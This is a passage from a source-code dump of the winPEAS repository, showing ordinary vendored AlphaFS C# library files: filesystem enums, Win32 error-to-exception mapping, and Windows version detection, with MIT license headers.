SPDRP_UI_NUMBER_DESC_FORMAT - Represents a printf-compatible format string that you should use to display the value of the device property for a device instance. //UiNumberDescriptionFormat = 29, ///// SPDRP_DEVICE_POWER_DATA - Represents power information about a device instance. //DevicePowerData = 30, ///// SPDRP_REMOVAL_POLICY - Represents the current removal policy for a device instance. //RemovalPolicy = 31, ///// SPDRP_REMOVAL_POLICY_HW_DEFAULT - Represents the default removal policy for a device instance. //RemovalPolicyDefault = 32, ///// SPDRP_REMOVAL_POLICY_OVERRIDE- Represents the removal policy override for a device instance. //RemovalPolicyOverride = 33, ///// SPDRP_INSTALL_STATE - Represents the installation state of a device instance. //InstallState = 34, /// SPDRP_LOCATION_PATHS /// Represents the location of a device instance in the device tree. /// LocationPaths = 35, /// SPDRP_BASE_CONTAINERID /// Represents the value of the base container identifier (ID) .The Windows Plug and Play (PnP) manager assigns this value to the device node (devnode). /// BaseContainerId = 36 } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/StreamAttribute.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; namespace Alphaleonis.Win32.Filesystem { /// Attributes of data to facilitate cross-operating system transfer. This member can be one or more of the following values. [SuppressMessage("Microsoft.Design", "CA1027:MarkEnumsWithFlags")] [SuppressMessage("Microsoft.Naming", "CA1711:IdentifiersShouldNotHaveIncorrectSuffix")] public enum StreamAttribute { /// This backup stream has no special attributes. None = NativeMethods.STREAM_ATTRIBUTE.NONE, /// Attribute set if the stream contains data that is modified when read. Allows the backup application to know that verification of data will fail. ModifiedWhenRead = NativeMethods.STREAM_ATTRIBUTE.STREAM_MODIFIED_WHEN_READ, /// The backup stream contains security information. This attribute applies only to backup stream of type . ContainsSecurity = NativeMethods.STREAM_ATTRIBUTE.STREAM_CONTAINS_SECURITY, /// Reserved. ContainsProperties = NativeMethods.STREAM_ATTRIBUTE.STREAM_CONTAINS_PROPERTIES, /// The backup stream is part of a sparse file stream. This attribute applies only to backup stream of type , , and . SparseAttribute = NativeMethods.STREAM_ATTRIBUTE.STREAM_SPARSE_ATTRIBUTE } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/StreamId.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; namespace Alphaleonis.Win32.Filesystem { /// The type of the data contained in the backup stream. This member can be one of the following values. public enum StreamId { /// This indicates an error. None = NativeMethods.STREAM_ID.NONE, /// Standard data. This corresponds to the NTFS $DATA stream type on the default (unnamed) data stream. BackupData = NativeMethods.STREAM_ID.BACKUP_DATA, /// Extended attribute data. This corresponds to the NTFS $EA stream type. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Ea")] [SuppressMessage("Microsoft.Naming", "CA1709:IdentifiersShouldBeCasedCorrectly", MessageId = "Ea")] BackupEaData = NativeMethods.STREAM_ID.BACKUP_EA_DATA, /// Security descriptor data. BackupSecurityData = NativeMethods.STREAM_ID.BACKUP_SECURITY_DATA, /// Alternative data streams. This corresponds to the NTFS $DATA stream type on a named data stream. BackupAlternateData = NativeMethods.STREAM_ID.BACKUP_ALTERNATE_DATA, /// Hard link information. This corresponds to the NTFS $FILE_NAME stream type. BackupLink = NativeMethods.STREAM_ID.BACKUP_LINK, /// Property data. BackupPropertyData = NativeMethods.STREAM_ID.BACKUP_PROPERTY_DATA, /// Objects identifiers. This corresponds to the NTFS $OBJECT_ID stream type. BackupObjectId = NativeMethods.STREAM_ID.BACKUP_OBJECT_ID, /// Reparse points. This corresponds to the NTFS $REPARSE_POINT stream type. BackupReparseData = NativeMethods.STREAM_ID.BACKUP_REPARSE_DATA, /// Sparse file. This corresponds to the NTFS $DATA stream type for a sparse file. BackupSparseBlock = NativeMethods.STREAM_ID.BACKUP_SPARSE_BLOCK, /// Transactional NTFS (TxF) data stream. /// Windows Server 2003 and Windows XP: This value is not supported. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Txfs")] BackupTxfsData = NativeMethods.STREAM_ID.BACKUP_TXFS_DATA } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/SymbolicLinkTarget.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Filesystem { /// Indicates whether the link target is a file or directory. /// Used by Win32 API CreateSymbolicLink()/CreateSymbolicLinkTransacted() public enum SymbolicLinkTarget { /// The link target is a file. File = 0, /// The link target is a directory. Directory = 1 } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/SymbolicLinkType.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace Alphaleonis.Win32.Filesystem { /// Specifies the type of a symbolic link. public enum SymbolicLinkType { /// The symbolic link is absolute. Absolute = 0, /// The symbolic link is relative. Relative = 1 } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/NativeError.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.ComponentModel; using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.Runtime.InteropServices; using System.Security.Policy; using Alphaleonis.Win32.Filesystem; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32 { internal static class NativeError { public static void ThrowException(int errorCode) { ThrowException((uint) errorCode, null, null); } public static void ThrowException(uint errorCode) { ThrowException(errorCode, null, null); } public static void ThrowException(int errorCode, string readPath) { ThrowException((uint) errorCode, readPath, null); } public static void ThrowException(int errorCode, bool? isFolder, string readPath) { if (errorCode == Win32Errors.ERROR_FILE_NOT_FOUND && null != isFolder && (bool) isFolder) errorCode = (int) Win32Errors.ERROR_PATH_NOT_FOUND; ThrowException((uint) errorCode, readPath, null); } public static void ThrowException(uint errorCode, string readPath) { ThrowException(errorCode, readPath, null); } public static void ThrowException(int errorCode, string readPath, string writePath) { ThrowException((uint) errorCode, readPath, writePath); } [SuppressMessage("Microsoft.Maintainability", "CA1502:AvoidExcessiveComplexity")] public static void ThrowException(uint errorCode, string readPath, string writePath) { if (null != readPath) readPath = Path.GetCleanExceptionPath(readPath); if (null != writePath) writePath = Path.GetCleanExceptionPath(writePath); var errorMessage = string.Format(CultureInfo.InvariantCulture, "({0}) {1}.", errorCode, new Win32Exception((int) errorCode).Message.Trim().TrimEnd('.').Trim()); if (!Utils.IsNullOrWhiteSpace(readPath) && !Utils.IsNullOrWhiteSpace(writePath)) errorMessage = string.Format(CultureInfo.InvariantCulture, "{0} | Read: [{1}] | Write: [{2}]", errorMessage, readPath, writePath); else { // Prevent messages like: "(87) The parameter is incorrect: []" if (!Utils.IsNullOrWhiteSpace(readPath ?? writePath)) errorMessage = string.Format(CultureInfo.InvariantCulture, "{0}: [{1}]", errorMessage.TrimEnd('.'), readPath ?? writePath); } switch (errorCode) { case Win32Errors.ERROR_INVALID_DRIVE: throw new System.IO.DriveNotFoundException(errorMessage); case Win32Errors.ERROR_OPERATION_ABORTED: throw new OperationCanceledException(errorMessage); case Win32Errors.ERROR_FILE_NOT_FOUND: throw new System.IO.FileNotFoundException(errorMessage); case Win32Errors.ERROR_PATH_NOT_FOUND: throw new System.IO.DirectoryNotFoundException(errorMessage); case Win32Errors.ERROR_BAD_RECOVERY_POLICY: throw new PolicyException(errorMessage); case Win32Errors.ERROR_FILE_READ_ONLY: case Win32Errors.ERROR_ACCESS_DENIED: case Win32Errors.ERROR_NETWORK_ACCESS_DENIED: throw new UnauthorizedAccessException(errorMessage); case Win32Errors.ERROR_ALREADY_EXISTS: case Win32Errors.ERROR_FILE_EXISTS: throw new AlreadyExistsException(readPath ?? writePath, true); case Win32Errors.ERROR_DIR_NOT_EMPTY: throw new DirectoryNotEmptyException(errorMessage); case Win32Errors.ERROR_NOT_READY: throw new DeviceNotReadyException(errorMessage); case Win32Errors.ERROR_NOT_SAME_DEVICE: throw new NotSameDeviceException(errorMessage); #region Transactional case Win32Errors.ERROR_INVALID_TRANSACTION: throw new InvalidTransactionException(Resources.Transaction_Invalid, Marshal.GetExceptionForHR(Win32Errors.GetHrFromWin32Error(errorCode))); case Win32Errors.ERROR_TRANSACTION_ALREADY_COMMITTED: throw new TransactionAlreadyCommittedException(Resources.Transaction_Already_Committed, Marshal.GetExceptionForHR(Win32Errors.GetHrFromWin32Error(errorCode))); case Win32Errors.ERROR_TRANSACTION_ALREADY_ABORTED: throw new TransactionAlreadyAbortedException(Resources.Transaction_Already_Aborted, Marshal.GetExceptionForHR(Win32Errors.GetHrFromWin32Error(errorCode))); case Win32Errors.ERROR_TRANSACTIONAL_CONFLICT: throw new TransactionalConflictException(Resources.Transactional_Conflict, Marshal.GetExceptionForHR(Win32Errors.GetHrFromWin32Error(errorCode))); case Win32Errors.ERROR_TRANSACTION_NOT_ACTIVE: throw new TransactionException(Resources.Transaction_Not_Active, Marshal.GetExceptionForHR(Win32Errors.GetHrFromWin32Error(errorCode))); case Win32Errors.ERROR_TRANSACTION_NOT_REQUESTED: throw new TransactionException(Resources.Transaction_Not_Requested, Marshal.GetExceptionForHR(Win32Errors.GetHrFromWin32Error(errorCode))); case Win32Errors.ERROR_TRANSACTION_REQUEST_NOT_VALID: throw new TransactionException(Resources.Invalid_Transaction_Request, Marshal.GetExceptionForHR(Win32Errors.GetHrFromWin32Error(errorCode))); case Win32Errors.ERROR_TRANSACTIONS_UNSUPPORTED_REMOTE: throw new UnsupportedRemoteTransactionException(Resources.Invalid_Transaction_Request, Marshal.GetExceptionForHR(Win32Errors.GetHrFromWin32Error(errorCode))); #endregion // Transactional case Win32Errors.ERROR_SUCCESS: case Win32Errors.ERROR_SUCCESS_REBOOT_INITIATED: case Win32Errors.ERROR_SUCCESS_REBOOT_REQUIRED: case Win32Errors.ERROR_SUCCESS_RESTART_REQUIRED: // We should really never get here, throwing an exception for a successful operation. throw new NotImplementedException(string.Format(CultureInfo.InvariantCulture, "{0} {1}", Resources.Exception_From_Successful_Operation, errorMessage)); default: // We don't have a specific exception to generate for this error. throw new System.IO.IOException(errorMessage, Win32Errors.GetHrFromWin32Error(errorCode)); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/OperatingSystem.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.ComponentModel; using System.Diagnostics; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32 { /// Static class providing access to information about the operating system under which the assembly is executing. public static class OperatingSystem { /// A set of flags that describe the named Windows versions. /// The values of the enumeration are ordered. A later released operating system version has a higher number, so comparisons between named versions are meaningful. [SuppressMessage("Microsoft.Naming", "CA1709:IdentifiersShouldBeCasedCorrectly", MessageId = "Os")] [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Os")] public enum EnumOsName { /// A Windows version earlier than Windows 2000. Earlier = -1, /// Windows 2000 (Server or Professional). Windows2000 = 0, /// Windows XP. WindowsXP = 1, /// Windows Server 2003. WindowsServer2003 = 2, /// Windows Vista. WindowsVista = 3, /// Windows Server 2008. WindowsServer2008 = 4, /// Windows 7. Windows7 = 5, /// Windows Server 2008 R2. WindowsServer2008R2 = 6, /// Windows 8. Windows8 = 7, /// Windows Server 2012. WindowsServer2012 = 8, /// Windows 8.1. Windows81 = 9, /// Windows Server 2012 R2 WindowsServer2012R2 = 10, /// Windows 10 Windows10 = 11, /// Windows Server 2016 WindowsServer2016 = 12, /// A later version of Windows than currently installed. Later = 65535 } /// A set of flags to indicate the current processor architecture for which the operating system is targeted and running. [SuppressMessage("Microsoft.Naming", "CA1709:IdentifiersShouldBeCasedCorrectly", MessageId = "Pa")] [SuppressMessage("Microsoft.Design", "CA1028:EnumStorageShouldBeInt32")] public enum EnumProcessorArchitecture { /// PROCESSOR_ARCHITECTURE_INTEL /// The system is running a 32-bit version of Windows. /// X86 = 0, /// PROCESSOR_ARCHITECTURE_IA64 /// The system is running on a Itanium processor. /// [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Ia")] [SuppressMessage("Microsoft.Naming", "CA1709:IdentifiersShouldBeCasedCorrectly", MessageId = "Ia")] IA64 = 6, /// PROCESSOR_ARCHITECTURE_AMD64 /// The system is running a 64-bit version of Windows. /// X64 = 9, /// PROCESSOR_ARCHITECTURE_UNKNOWN /// Unknown architecture. /// Unknown = 65535 } #region Properties private static bool _isServer; /// Gets a value indicating whether the operating system is a server operating system. /// true if the current operating system is a server operating system; otherwise, false. public static bool IsServer { get { if (null == _servicePackVersion) UpdateData(); return _isServer; } } private static bool? _isWow64Process; /// Gets a value indicating whether the current process is running under WOW64. /// true if the current process is running under WOW64; otherwise, false. public static bool IsWow64Process { get { if (null == _isWow64Process) { bool value; var processHandle = Process.GetCurrentProcess().Handle; if (!NativeMethods.IsWow64Process(processHandle, out value)) Marshal.ThrowExceptionForHR(Marshal.GetLastWin32Error()); // A pointer to a value that is set to TRUE if the process is running under WOW64. // If the process is running under 32-bit Windows, the value is set to FALSE. // If the process is a 64-bit application running under 64-bit Windows, the value is also set to FALSE. _isWow64Process = value; } return (bool) _isWow64Process; } } private static Version _osVersion; /// Gets the numeric version of the operating system. /// The numeric version of the operating system. public static Version OSVersion { get { if (null == _osVersion) UpdateData(); return _osVersion; } } private static EnumOsName _enumOsName = EnumOsName.Later; /// Gets the named version of the operating system. /// The named version of the operating system. public static EnumOsName VersionName { get { if (null == _servicePackVersion) UpdateData(); return _enumOsName; } } private static EnumProcessorArchitecture _processorArchitecture; /// Gets the processor architecture for which the operating system is targeted. /// The processor architecture for which the operating system is targeted. /// If running under WOW64 this will return a 32-bit processor. Use to determine if this is the case. public static EnumProcessorArchitecture ProcessorArchitecture { get { if (null == _servicePackVersion) UpdateData(); return _processorArchitecture; } } private static Version _servicePackVersion; /// Gets the version of the service pack currently installed on the operating system. /// The version of the service pack currently installed on the operating system. /// Only the and fields are used. public static Version ServicePackVersion { get { if (null == _servicePackVersion) UpdateData(); return _servicePackVersion; } } #endregion // Properties #region Methods /// Determines whether the operating system is of the specified version or later. /// true if the operating system is of the specified or later; otherwise, false. /// The lowest version for which to return true. public static bool IsAtLeast(EnumOsName version) { return VersionName >= version; } /// Determines whether the operating system is of the specified version or later, allowing specification of a minimum service pack that must be installed on the lowest version. /// true if the operating system matches the specified with the specified service pack, or if the operating system is of a later version; otherwise, false. /// The minimum required version. /// The major version of the service pack that must be installed on the minimum required version to return true. This can be 0 to indicate that no service pack is required. public static bool IsAtLeast(EnumOsName version, int servicePackVersion) { return IsAtLeast(version) && ServicePackVersion.Major >= servicePackVersion; } #endregion // Methods #region Private [SuppressMessage("Microsoft.Naming", "CA2204:Literals should be spelled correctly", MessageId = "RtlGetVersion")] private static void UpdateData() { var verInfo = new NativeMethods.RTL_OSVERSIONINFOEXW(); // Needed to prevent: System.Runtime.InteropServices.COMException: // The data area passed to a system call is too small. (Exception from HRESULT: 0x8007007A) verInfo.dwOSVersionInfoSize = Marshal.SizeOf(verInfo); var sysInfo = new NativeMethods.SYSTEM_INFO(); NativeMethods.GetNativeSystemInfo(ref sysInfo); // RtlGetVersion returns STATUS_SUCCESS (0). var success = !NativeMethods.RtlGetVersion(ref verInfo); var lastError = Marshal.GetLastWin32Error(); if (!success) throw new Win32Exception(lastError, "Function RtlGetVersion() failed to retrieve the operating system information."); _osVersion = new Version(verInfo.dwMajorVersion, verInfo.dwMinorVersion, verInfo.dwBuildNumber); _processorArchitecture = sysInfo.wProcessorArchitecture; _servicePackVersion = new Version(verInfo.wServicePackMajor, verInfo.wServicePackMinor); _isServer = verInfo.wProductType == NativeMethods.VER_NT_DOMAIN_CONTROLLER || verInfo.wProductType == NativeMethods.VER_NT_SERVER; // RtlGetVersion: https://msdn.microsoft.com/en-us/library/windows/hardware/ff561910%28v=vs.85%29.aspx // Operating System Version: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx // The following table summarizes the most recent operating system version numbers. // Operating system Version number Other // ================================================================================ // Windows 10 10.0 OSVERSIONINFOEX.wProductType == VER_NT_WORKSTATION // Windows Server 2016 10.0 OSVERSIONINFOEX.wProductType != VER_NT_WORKSTATION // Windows 8.1 6.3 OSVERSIONINFOEX.wProductType == VER_NT_WORKSTATION // Windows Server 2012 R2 6.3 OSVERSIONINFOEX.wProductType != VER_NT_WORKSTATION // Windows 8 6.2 OSVERSIONINFOEX.wProductType == VER_NT_WORKSTATION // Windows Server 2012 6.2 OSVERSIONINFOEX.wProductType != VER_NT_WORKSTATION // Windows 7 6.1 OSVERSIONINFOEX.wProductType == VER_NT_WORKSTATION // Windows Server 2008 R2 6.1 OSVERSIONINFOEX.wProductType != VER_NT_WORKSTATION // Windows Server 2008 6.0 OSVERSIONINFOEX.wProductType != VER_NT_WORKSTATION // Windows Vista 6.0 OSVERSIONINFOEX.wProductType == VER_NT_WORKSTATION // Windows Server 2003 R2 5.2 GetSystemMetrics(SM_SERVERR2) != 0 // Windows Server 2003 5.2 GetSystemMetrics(SM_SERVERR2) == 0 // Windows XP 64-Bit Edition 5.2 (OSVERSIONINFOEX.wProductType == VER_NT_WORKSTATION) && (sysInfo.PaName == PaName.X64) // Windows XP 5.1 Not applicable // Windows 2000 5.0 Not applicable // 2017-01-07: 10 == The lastest MajorVersion of Windows. if (verInfo.dwMajorVersion > 10) _enumOsName = EnumOsName.Later; else switch (verInfo.dwMajorVersion) { #region Version 10 case 10: // Windows 10 or Windows Server 2016 _enumOsName = verInfo.wProductType == NativeMethods.VER_NT_WORKSTATION ? EnumOsName.Windows10 : EnumOsName.WindowsServer2016; break; #endregion // Version 10 #region Version 6 case 6: switch (verInfo.dwMinorVersion) { // Windows 8.1 or Windows Server 2012 R2 case 3: _enumOsName = verInfo.wProductType == NativeMethods.VER_NT_WORKSTATION ? EnumOsName.Windows81 : EnumOsName.WindowsServer2012R2; break; // Windows 8 or Windows Server 2012 case 2: _enumOsName = verInfo.wProductType == NativeMethods.VER_NT_WORKSTATION ? EnumOsName.Windows8 : EnumOsName.WindowsServer2012; break; // Windows 7 or Windows Server 2008 R2 case 1: _enumOsName = verInfo.wProductType == NativeMethods.VER_NT_WORKSTATION ? EnumOsName.Windows7 : EnumOsName.WindowsServer2008R2; break; // Windows Vista or Windows Server 2008 case 0: _enumOsName = verInfo.wProductType == NativeMethods.VER_NT_WORKSTATION ? EnumOsName.WindowsVista : EnumOsName.WindowsServer2008; break; default: _enumOsName = EnumOsName.Later; break; } break; #endregion // Version 6 #region Version 5 case 5: switch (verInfo.dwMinorVersion) { case 2: _enumOsName = verInfo.wProductType == NativeMethods.VER_NT_WORKSTATION && _processorArchitecture == EnumProcessorArchitecture.X64 ? EnumOsName.WindowsXP : verInfo.wProductType != NativeMethods.VER_NT_WORKSTATION ? EnumOsName.WindowsServer2003 : EnumOsName.Later; break; case 1: _enumOsName = EnumOsName.WindowsXP; break; case 0: _enumOsName = EnumOsName.Windows2000; break; default: _enumOsName = EnumOsName.Later; break; } break; #endregion // Version 5 default: _enumOsName = EnumOsName.Earlier; break; } } private static class NativeMethods { internal const short VER_NT_WORKSTATION = 1; internal const short VER_NT_DOMAIN_CONTROLLER = 2; internal const short VER_NT_SERVER = 3; [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] internal struct RTL_OSVERSIONINFOEXW { public int dwOSVersionInfoSize; public readonly int dwMajorVersion; public readonly int dwMinorVersion; public readonly int dwBuildNumber; public readonly int dwPlatformId; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] public readonly string szCSDVersion; public readonly ushort wServicePackMajor; public readonly ushort wServicePackMinor; public readonly ushort wSuiteMask; public readonly byte wProductType; public readonly byte wReserved; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] internal struct SYSTEM_INFO { public readonly EnumProcessorArchitecture wProcessorArchitecture; private readonly ushort wReserved; public readonly uint dwPageSize; public readonly IntPtr lpMinimumApplicationAddress; public readonly IntPtr lpMaximumApplicationAddress; public readonly IntPtr dwActiveProcessorMask; public readonly uint dwNumberOfProcessors; public readonly uint dwProcessorType; public readonly uint dwAllocationGranularity; public readonly ushort wProcessorLevel; public readonly ushort wProcessorRevision; } /// The RtlGetVersion routine returns version information about the currently running operating system. /// RtlGetVersion returns STATUS_SUCCESS. /// Available starting with Windows 2000. [SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule"), DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Unicode)] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool RtlGetVersion([MarshalAs(UnmanagedType.Struct)] ref RTL_OSVERSIONINFOEXW lpVersionInformation); /// Retrieves information about the current system to an application running under WOW64. /// If the function is called from a 64-bit application, it is equivalent to the GetSystemInfo function. /// /// This function does not return a value. /// To determine whether a Win32-based application is running under WOW64, call the function. /// Minimum supported client: Windows XP [desktop apps | Windows Store apps] /// Minimum supported server: Windows Server 2003 [desktop apps | Windows Store apps] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] internal static extern void GetNativeSystemInfo([MarshalAs(UnmanagedType.Struct)] ref SYSTEM_INFO lpSystemInfo); /// Determines whether the specified process is running under WOW64. /// /// If the function succeeds, the return value is a nonzero value. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// /// Minimum supported client: Windows Vista, Windows XP with SP2 [desktop apps only] /// Minimum supported server: Windows Server 2008, Windows Server 2003 with SP1 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool IsWow64Process([In] IntPtr hProcess, [Out, MarshalAs(UnmanagedType.Bool)] out bool lpSystemInfo); } #endregion // Private } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Resources.Designer.cs ================================================ //------------------------------------------------------------------------------ // // This code was generated by a tool. // Runtime Version:4.0.30319.42000 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // //------------------------------------------------------------------------------ namespace winPEAS._3rdParty.AlphaFS { using System; /// /// A strongly-typed resource class, for looking up localized strings, etc. /// // This class was auto-generated by the StronglyTypedResourceBuilder // class via a tool like ResGen or Visual Studio. // To add or remove a member, edit your .ResX file then rerun ResGen // with the /str option, or rebuild your VS project. [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { private static global::System.Resources.ResourceManager resourceMan; private static global::System.Globalization.CultureInfo resourceCulture; [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] internal Resources() { } /// /// Returns the cached ResourceManager instance used by this class. /// [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Resources.ResourceManager 